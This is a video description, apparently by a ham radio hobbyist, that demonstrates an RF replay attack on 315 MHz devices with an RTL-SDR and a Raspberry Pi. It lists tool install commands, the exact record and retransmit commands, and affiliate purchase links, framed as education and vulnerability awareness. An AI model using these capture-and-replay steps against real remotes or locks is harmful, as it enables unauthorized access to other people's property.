Uploaded December 2018 | Updated September 2026, 2 hours ago

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FOR EDUCATIONAL USE ONLY

This video is a demonstration on how with a simple RTL-SDR, and a raspberry pi, you can conduct a replay attack with many devices that utilize RF frequency to send information over the air.
This video also serves to bring awareness of modern day vulnerabilities when using these devices as a means to secure your possessions.

Devices used:
raspberrypi.org/products/raspberry-pi-3-model-b-plus
rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles

Commands used:
RPITX INSTALL:
sudo apt-get update
sudo apt-get install git
git clone github.com/F5OEO/rpitx
cd rpitx
./install.sh

RTL_SDR INSTALL:
git clone github.com/keenerd/rtl-sdr
cd rtl-sdr/
mkdir build
cd build
cmake ../ -DINSTALL_UDEV_RULES=ON
make
sudo make install
sudo ldconfig

RECORD RF:
rtl_sdr -s 25000 -g 35 -f 315.0125e6 filename.iq

TRANSMIT RF:
sudo ./sendiq -s 25000 -f 315.0125e6 -t u8 -i filename.iq


You can buy the parts used in the video with the links below.
RTLSDR
amzn.to/3fXnxNM

Raspi Kit
amzn.to/30BcJi0
Make sure to check out my blog, and shop over at:
themodernham.com .
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